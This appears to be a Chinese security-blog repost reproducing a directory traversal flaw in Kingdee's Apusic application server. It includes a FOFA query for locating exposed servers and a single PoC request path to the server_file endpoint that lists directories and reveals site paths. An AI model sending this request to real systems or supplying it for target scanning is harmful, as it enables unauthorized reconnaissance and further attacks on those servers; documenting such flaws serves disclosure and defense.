金蝶OA Apusic应用服务器(中间件) server_file 目录遍历漏洞

本文转载于公众号:融云攻防实验室,原文地址:

漏洞复现 金蝶OA Apusic应用服务器(中间件) server_file 目录遍历漏洞

0x01 阅读须知

资源来源于网络,安全小天地只是再次进行分享,使用请遵循本站的免责申明

0x02 漏洞描述

金蝶Apusic应用服务器是国内第一个通过J2EE测试认证的应用服务器,全球第四家获得JavaEE 5.0认证授权的产品,完全实现J2EE等企业计算相关的工业规范及标准代码简洁优化,具备了数据持久性、事务完整性、消息传输的可靠性、集群功能的高可用性、以及跨平台的支持等特点。金蝶Apusic应用服务器 server_file处存在目录遍历漏洞,攻击者可以从其中获取网站路径等敏感信息进一步攻击。

图片[1]-金蝶OA Apusic应用服务器(中间件) server_file 目录遍历漏洞-安全小天地

0x03 漏洞复现

fofaapp=”Apusic-公司产品” && title==”欢迎使用Apusic应用服务器”

1.执行POC得到网站路径

/admin/protected/selector/server_file/files?folder=/
图片[2]-金蝶OA Apusic应用服务器(中间件) server_file 目录遍历漏洞-安全小天地

------本文已结束,感谢您的阅读------
THE END
喜欢就支持一下吧
点赞6 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容